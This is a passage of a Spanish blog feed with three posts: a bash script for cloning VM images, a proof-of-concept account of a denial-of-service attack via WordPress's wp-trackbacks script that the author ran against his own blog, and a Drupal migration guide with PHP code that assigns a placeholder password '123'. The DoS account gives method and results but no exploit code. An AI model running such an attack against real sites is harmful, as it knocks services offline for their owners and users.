<p>El script esta hecho en bash y lo único que necesitamos es tener una imágen del sistema (por ej. debian) base, con postfix instalado y la configuración que necesitemos, para luego clonarla en serie. El único trabajo que tenemos que hacer es montar una sola maquina, con todo lo que necesitemos, que sea funcional y luego de hacer pruebas y que todo ande bien, entonces usamos el script para clonarla:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re3">#/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">VM_LIST=</span>machines <span class="re3"># <span class="kw2">file</span> <span class="kw2">which</span> contains list of ip and hostnames</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">for</span> line <span class="kw1">in</span> $<span class="br0">&#40;</span><span class="kw2">grep</span> -v ^<span class="re3"># <span class="re1">$VM_LIST</span><span class="br0">&#41;</span>;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">IP_ADDR=</span>$<span class="br0">&#40;</span><span class="kw3">echo</span> <span class="re1">$line</span> |awk -F <span class="st0">&#8216;|&#8217;</span> <span class="st0">&#8216;{print $1}&#8217;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">HOST_NAME=</span>$<span class="br0">&#40;</span><span class="kw3">echo</span> <span class="re1">$line</span> |awk -F <span class="st0">&#8216;|&#8217;</span> <span class="st0">&#8216;{print $2}&#8217;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">MAC=</span>$<span class="br0">&#40;</span><span class="kw3">echo</span> <span class="re1">$line</span> |awk -F <span class="st0">&#8216;|&#8217;</span> <span class="st0">&#8216;{print $3}&#8217;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">NAME=</span>$<span class="br0">&#40;</span><span class="kw3">echo</span> <span class="re1">$HOST_NAME</span> |awk -F . <span class="st0">&#8216;{print $1}&#8217;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">CFG=</span><span class="re1">$NAME</span>.cfg</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">IMG=</span><span class="re1">$NAME</span>.img</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">FULLPATH_CFG=</span><span class="re1">$DIR</span>\/<span class="re1">$HOST_NAME</span>\/<span class="re1">$CFG</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">FULLPATH_IMG=</span><span class="re1">$DIR</span><span class="st0">&quot;<span class="es0">\/</span>&quot;</span><span class="re1">$HOST_NAME</span><span class="st0">&quot;<span class="es0">\/</span>&quot;</span><span class="re1">$IMG</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">FULLPATH_SWAP=</span><span class="re1">$DIR</span>/<span class="re1">$HOST_NAME</span>/<span class="st0">&quot;swap.img&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">mkdir</span> <span class="re1">$HOST_NAME</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Created $HOST_NAME directory.&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&gt;&gt; Copying files &#8230;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">cp</span> draft/swap.img draft/draft.img draft/draft.cfg <span class="re1">$HOST_NAME</span>/</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">mv</span> <span class="re1">$HOST_NAME</span>/draft.img <span class="re1">$HOST_NAME</span>/<span class="re1">$IMG</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">mv</span> <span class="re1">$HOST_NAME</span>/draft.cfg <span class="re1">$HOST_NAME</span>/<span class="re1">$CFG</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> -n <span class="st0">&quot;&gt;&gt; Parsing $CFG &#8230;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sed</span> -i <span class="st0">&#8216;s/DIR_TO_DISK/<span class="es0">\/</span>vm<span class="es0">\/</span>mailers<span class="es0">\/</span>&#8216;</span><span class="re1">$HOST_NAME</span><span class="st0">&#8216;<span class="es0">\/</span>&#8216;</span><span class="re1">$IMG</span><span class="st0">&#8216;/g&#8217;</span> <span class="re1">$HOST_NAME</span>/<span class="re1">$CFG</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sed</span> -i <span class="st0">&#8216;s/DIR_TO_SWAP/<span class="es0">\/</span>vm<span class="es0">\/</span>mailers<span class="es0">\/</span>&#8216;</span><span class="re1">$HOST_NAME</span><span class="st0">&#8216;<span class="es0">\/</span>swap.img/g&#8217;</span> <span class="re1">$HOST_NAME</span>/<span class="re1">$CFG</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sed</span> -i <span class="st0">&#8216;s/HOSTNAME/&#8217;</span><span class="re1">$NAME</span><span class="st0">&#8216;/g&#8217;</span> <span class="re1">$HOST_NAME</span>/<span class="re1">$CFG</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sed</span> -i <span class="st0">&#8216;s/IP_ADDR/&#8217;</span><span class="re1">$IP_ADDR</span><span class="st0">&#8216;/g&#8217;</span> <span class="re1">$HOST_NAME</span>/<span class="re1">$CFG</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sed</span> -i <span class="st0">&#8216;s/MAC/&#8217;</span><span class="re1">$MAC</span><span class="st0">&#8216;/g&#8217;</span> <span class="re1">$HOST_NAME</span>/<span class="re1">$CFG</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot; &nbsp;Done.&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">mount</span> -oloop -tauto <span class="re1">$HOST_NAME</span>/<span class="re1">$IMG</span> temp/</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&gt;&gt; Setting up hostname &#8230;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="re1">$HOST_NAME</span> &gt; temp/etc/<span class="kw2">hostname</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&gt;&gt; Setting up postfix (main.cf) &#8230;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sed</span> -i <span class="st0">&#8216;s/mail[0-9]./&#8217;</span><span class="re1">$NAME</span><span class="st0">&#8216;/g&#8217;</span> temp/etc/postfix/main.cf</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&gt;&gt; Setting up ethernet &#8230;&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sed</span> -i <span class="st0">&#8216;s/aaa.bbb.ccc.ddd/&#8217;</span><span class="re1">$IP_ADDR</span><span class="st0">&#8216;/&#8217;</span> temp/etc/network/interfaces</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&gt;&gt; Adding RSA Public Key &#8230;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">cat</span> /home/admin/.<span class="kw2">ssh</span>/id_rsa.pub &gt;&gt; temp/root/.<span class="kw2">ssh</span>/authorized_keys</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">umount</span> temp</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Done.&quot;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">done</span></div>
</li>
</ol>
</div>
<p>Lo que hace el script, en sencillos pasos es:</p>
<p>- Crear el directorio donde guardaremos nustro fichero de configuración y cosas necesarias.<br />
- Copiar los ficheros necesarios (configuracion de la máquina, imagen del sistema operativo, etc)<br />
- Toma el fichero de configuración y lo <em>parsea</em> para adaptarlo según la configuración que necesitemos.<br />
- Monta la imagen (usando <em>loop</em>)de nuestra nueva máquina.<br />
- Edita y configura los ficheros necesarios dentro de esa máquina virtual.<br />
- Desmontamos y pasamos a la siguiente máquina.</p>
<p>El script se basa en un fichero de &#8220;configuración&#8221;, el cual nos debe proveer de la dirección IP, la mac y el hostname, en el siguiente formato:</p>
<blockquote><p>aaa.bbb.ccc.ddd:hostname.tld:ma:c:a:dd:re:ss</p></blockquote>
<p>Con este post no busco enseñar como migrar o clonar máquinas, simplemente demostrar que se puede automatizar la tarea de clonación de máquinas en serie. Claramente este script no funcionará para los requerimientos de todos nosotros, pero se puede adaptar.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fclonacion-de-maquinas-virtuales-en-serie%2F&amp;linkname=Clonaci%C3%B3n%20de%20m%C3%A1quinas%20virtuales%20en%20serie" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fclonacion-de-maquinas-virtuales-en-serie%2F&amp;linkname=Clonaci%C3%B3n%20de%20m%C3%A1quinas%20virtuales%20en%20serie" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fclonacion-de-maquinas-virtuales-en-serie%2F&amp;linkname=Clonaci%C3%B3n%20de%20m%C3%A1quinas%20virtuales%20en%20serie" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fclonacion-de-maquinas-virtuales-en-serie%2F&amp;linkname=Clonaci%C3%B3n%20de%20m%C3%A1quinas%20virtuales%20en%20serie" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fclonacion-de-maquinas-virtuales-en-serie%2F&amp;linkname=Clonaci%C3%B3n%20de%20m%C3%A1quinas%20virtuales%20en%20serie" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fclonacion-de-maquinas-virtuales-en-serie%2F&amp;linkname=Clonaci%C3%B3n%20de%20m%C3%A1quinas%20virtuales%20en%20serie" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fclonacion-de-maquinas-virtuales-en-serie%2F&amp;linkname=Clonaci%C3%B3n%20de%20m%C3%A1quinas%20virtuales%20en%20serie" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fclonacion-de-maquinas-virtuales-en-serie%2F&amp;linkname=Clonaci%C3%B3n%20de%20m%C3%A1quinas%20virtuales%20en%20serie">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/clonacion-de-maquinas-virtuales-en-serie/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>[Proof-of-Concept] DoS gracias al script wp-trackbacks de wordpress</title>
		<link>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 22:48:54 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[proof-of-concept]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1033</guid>
		<description><![CDATA[Un par de horas atrás, publiqué un artículo luego de haber leído una publicación de jcarlosn. Me di el tiempo de realizar una prueba de concepto (PoC) usando el exploit que él mismo propone. Si bien el código que él publicó tiene algunos problemas, luego de hacerle un par de modificaciones logré ejecutarlo y analizar [...]]]></description>
			<content:encoded><![CDATA[<p>Un par de horas atrás, <a href="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/">publiqué un artículo</a> luego de haber leído <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">una publicación de jcarlosn</a>. Me di el tiempo de realizar una prueba de concepto (PoC) usando el exploit que él mismo propone. Si bien el código que él publicó tiene algunos problemas, luego de hacerle un par de modificaciones logré ejecutarlo y analizar su comportamiento y ver cómo <em>sufre</em> el servidor objetivo.</p>
<p>Duración de la prueba de concepto: <strong>2 minutos</strong><br />
Sitio o servidor objetivo: <strong>blog.zerial.org</strong><br />
Tipo de exploit: <strong>remoto</strong><br />
Vulnerabilidad: <strong>Resource Exhaustion (DoS)</strong><br />
Descripción: <strong>El servidor comienza a consumir recursos hasta agotarlos, provocando la denegación del servicio.</strong></p>
<p><img class="aligncenter size-full wp-image-1035" title="wpress-test" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress-test.png" alt="wpress-test" width="344" height="358" /></p>
<p>Ejecuté el exploit en tres consolas distintas de forma simultanea, y al pasar 10 o 15 segundos ya se comenzó a notar el consumo de recursos en el servidor.</p>
<p><span id="more-1033"></span></p>
<p><img class="aligncenter size-full wp-image-1036" title="wpress" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress.png" alt="wpress" width="521" height="96" /></p>
<p>La carga promedio ya va en <strong>2.83</strong> y el consumo del/los CPU llegando al <strong>100%</strong>, un par de segundos más y &#8230;</p>
<p><img class="aligncenter size-full wp-image-1037" title="wpress2" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress2.png" alt="wpress2" width="524" height="86" /></p>
<p>La carga promedio ya va en <strong>3.75</strong> y los procesadores están a su <strong>100%</strong>, si se fijan en la memoria está consumiendo <em>408MB de 540</em>, es decir, el servidor ya se está quedando sin recursos. Siguen pasando los segundos &#8230;</p>
<p><img class="aligncenter size-full wp-image-1038" title="wpress3" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress3.png" alt="wpress3" width="324" height="15" /></p>
<p><img class="aligncenter size-full wp-image-1039" title="wpress4" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress4.png" alt="wpress4" width="171" height="16" /></p>
<p><strong>458Mb</strong> de ram y <strong>4.25</strong> de carga.</p>
<p>Los logs de apache me muestran las distintas peticiones simultaneas que hace el exploit:</p>
<p><img class="aligncenter size-full wp-image-1040" title="wpress-log" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress-log.png" alt="wpress-log" width="584" height="54" /></p>
<p>Esta prueba de concepto la realicé con 3 peticiones simultaneas y durante 2 míseros minutos, si aumentamos las instancias del exploit y alargamos un poco mas el periodo de prueba, fácilmente podremos lograr la denegación de servicio en el servidor.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;linkname=%5BProof-of-Concept%5D%20DoS%20gracias%20al%20script%20wp-trackbacks%20de%20wordpress" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;linkname=%5BProof-of-Concept%5D%20DoS%20gracias%20al%20script%20wp-trackbacks%20de%20wordpress" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;linkname=%5BProof-of-Concept%5D%20DoS%20gracias%20al%20script%20wp-trackbacks%20de%20wordpress" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;linkname=%5BProof-of-Concept%5D%20DoS%20gracias%20al%20script%20wp-trackbacks%20de%20wordpress" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;linkname=%5BProof-of-Concept%5D%20DoS%20gracias%20al%20script%20wp-trackbacks%20de%20wordpress" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;linkname=%5BProof-of-Concept%5D%20DoS%20gracias%20al%20script%20wp-trackbacks%20de%20wordpress" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;linkname=%5BProof-of-Concept%5D%20DoS%20gracias%20al%20script%20wp-trackbacks%20de%20wordpress" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;linkname=%5BProof-of-Concept%5D%20DoS%20gracias%20al%20script%20wp-trackbacks%20de%20wordpress">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Migración de datos en Drupal</title>
		<link>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/</link>
		<comments>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 01:25:14 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[drupal]]></category>
		<category><![CDATA[drupal 6]]></category>
		<category><![CDATA[migracion]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plataformas]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=926</guid>
		<description><![CDATA[Drupal 6 nos provee de una API que nos permitirá trabajar directamente con el core, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los hooks, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc. La idea de este artículo es [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-986 alignleft" style="margin: 5px;" title="drupal_migra" src="http://blog.zerial.org/wp-content/uploads/2009/10/drupal_migra.jpg" alt="drupal_migra" width="80" height="104" /> <a href="http://drupal.org" target="_blank">Drupal</a> 6 nos provee de una <a href="http://api.drupal.org" target="_blank">API</a> que nos permitirá trabajar directamente con el <em>core</em>, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los <em>hooks</em>, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc.<br />
La idea de este artículo es ayudar a las personas que necesiten realizar una migración (importación/exportación) desde un sistema distinto hacia Drupal.</p>
<p><span id="more-926"></span></p>
<p>Las funciones que necesitamos de la API de Drupal son:</p>
<ol>
<li><strong><a href="http://api.drupal.org/api/function/user_save/6" target="_blank">user_save()</a></strong>: Permite la manipulación de los usuarios.</li>
<li><strong><a href="http://api.drupal.org/api/function/node_save/6" target="_blank">node_save()</a></strong>: Manipulación de los nodos (contenidos).</li>
<li><strong><a href="http://api.drupal.org/api/function/db_query/6" target="_blank">db_query()</a></strong>: Nos permite realizar consultas a la base de datos usando la configuración de Drupal.</li>
</ol>
<p>Con estas funciones ya podemos pensar en realizar una migración total o partial de un sitio. La lógica del asunto es sencilla, tenemos que hacer un &#8220;wrapper&#8221; que conecte ambas plataformas (hablando de base de datos y ficheros), hacer que por un lado se conecte a la base de datos de la plataforma antigua y por otro lado a Drupal, que vaya leyendo los datos desde la plataforma antigua y luego insertandolos en la nueva plataforma usando las funciones de la API, por ejemplo, si tenemos la tabla <strong>usuarios</strong> con los tipicos campos <em>nombre, email, usuario, password</em>, en Drupal la estructura de la tabla <em>{users}</em> es similar, contiene los campos <em>email, name y pass</em> (los que nos sirven) entre otros. Entonces lo que debemos hacer es un pequeño script que haya un <strong>SELECT email, password, usuario FROM usuarios</strong> y hacer que cada registro que lea, lo inserte en la tabla <em>{users}</em> mediante la API (función user_save()).<br />
Ejemplo:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$var1</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT email,password,usuario FROM usuarios&quot;</span>, <span class="re0">$link</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$data</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$var1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="re0">$userdata</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;status&#8217;</span> =&gt; <span class="nu0">1</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;name&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;usuario&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;pass&#8217;</span> =&gt; <span class="st0">&#8217;123&#8242;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;picture&#8217;</span> =&gt; <span class="re0">$_avatar</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;mail&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;email&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; user_save<span class="br0">&#40;</span><span class="st0">&#8221;</span>, <span class="re0">$userdata</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>El tema de la contraseña es más complicado, va a depender únicamente de que si la contraseña está en texto plano o encriptada en la base de datos de origen. Si esta en texto plano, entonces basta con agregar al arreglo <em>userdata</em> el valor <strong>$data['password']</strong> a la variable <em>pass</em>. De lo contrario, tendremos que hacer un pequeño truco. Creamos el usuario asignandole una clave <em>fake</em>, por ejemplo <strong>123456</strong> y posteriormente, usando la función db_query, hacemos el UPDATE necesario para cambiarle el password al usuario creado, ingresando directamente el HASH original (pensando que esta en md5).</p>
<p>Para realizar la migración de contenido, el procedimiento es de la misma forma, seleccionar la información de un lado y llevarla a otra usando la función <em>node_save</em>.<br />
Si algo se nos escapa de las manos y no sabemos como hacerlo, basta con que entendamos el modelo de la base de datos e ingresemos directamente las consultas a la base de datos (<strong>no lo recomiendo</strong>).</p>
<p>Hace unos días me tocó la tarea de realizar la migración de una plataforma X a Drupal, para esto diseñe una clase que me permite hacer la migración paso por paso.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/chdir"><span class="kw3">chdir</span></a><span class="br0">&#40;</span><span class="st0">&quot;api/&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include_once</span> <span class="st0">&#8216;api/includes/bootstrap.inc&#8217;</span>;</div>
</li>
<li class="li2">
<div class="de2">drupal_bootstrap<span class="br0">&#40;</span>DRUPAL_BOOTSTRAP_FULL<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">class</span> Drupal<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="re0">$user</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="re0">$id_uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
